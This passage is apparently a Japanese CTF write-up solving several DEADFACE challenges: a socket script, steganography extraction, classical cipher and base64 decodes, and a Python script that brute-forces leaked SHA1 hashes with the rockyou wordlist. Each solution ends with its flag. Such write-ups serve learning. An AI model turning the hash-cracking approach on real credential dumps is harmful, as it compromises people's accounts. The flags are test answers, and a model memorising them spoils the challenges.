data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

num = 666
row = ''
for i in range(1, 31):
    for j in range(i):
        row += str(num) + ' '
        num += 1

row = row[:-1]
print row
s.sendall(row + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

DEADFACE gatekeeper: You haven't convinced me yet. Start with 666 and build a staircase of 30 steps. Strip out newlines and keep spaces between numbers. Send me all 30 steps and I'll know you're the real deal.

666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130
flag{plung3_to_the_4by55}

Password Check (Programming 400)

rockyou.txtのパスワードリストでブルートフォースし、sha1がハッシュのリストにあるかをチェックする。

import hashlib

with open('rockyou.txt', 'r') as f:
    words = [word.rstrip() for word in f.readlines()]

with open('FL1R0jbn.txt', 'rb') as f:
    data = f.read()

for word in words:
    h = hashlib.sha1(word).hexdigest()
    if h in data:
       print '[+] password =', word
       print '[+] hash =', h
       break

実行結果は以下の通り。

[+] password = ncc1701
[+] hash = c2577430d91716490dc5d33c20d901e008b696e7

侵害された数もフラグに含めるので、以下のサイトで"ncc1701"の侵害数を調べる。

https://haveibeenpwned.com/Passwords

f:id:satou-y:20201030125414p:plain

flag{55001_ncc1701}

Blasphemy (Steganography 40)

steghideをパスワードなしで実行する。

$ steghide extract -sf witches.jpg 
Enter passphrase: 
wrote extracted data to "secret.txt.o".
$ cat secret.txt.o 
flag{950634ccc97ca3ef03e22c759a356973}
flag{950634ccc97ca3ef03e22c759a356973}

Hail Caesar! (Cryptography 10)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 18:
BOO SCARED YOU
BOO SCARED YOU

Down the Wrong Path (Cryptography 10)

添付の写真にはこう書いてある。

RMTLOBBTERSUXT
EBOLOOOHWGORTA
METSKIUETEFNAC
EREPYATNATOETK

スキュタレー暗号。https://www.dcode.fr/scytale-cipherで復号する。

(4) REMEMBERTOTELLSPOOKYBOIABOUTTHENEWTARGETSOFOURNEXTATTACK

英文になるようスペースを入れる。

REMEMBER TO TELL SPOOKYBOI ABOUT THE NEW TARGET SO FOUR NEXT ATTACK

メッセージの相手を答えればよい。

SPOOKYBOI

Cover Your Bases (Cryptography 30)

base64デコードする。

$ echo ZmxhZ3tzaG91bGRhX21hZGVfdGhpc19vbmVfaGFyZGVyfQ== | base64 -d
flag{shoulda_made_this_one_harder}
flag{shoulda_made_this_one_harder}

Bone to Pick (Cryptography 80)

url safe base64になっているので、置換して、"="をパディング後にbase64デコードする。

with open('xL04idu2.txt', 'r') as f:
    data = f.read()

data = data.replace('_', '/').replace('-', '+')

while True:
    if len(data) % 4 == 0:
        break
    else:
        data += '='

with open('flag.jpg', 'wb') as f:
    f.write(data.decode('base64'))

デコードするとjpg画像になり、フラグが書いてあった。
f:id:satou-y:20201030130941j:plain

flag{angrybones}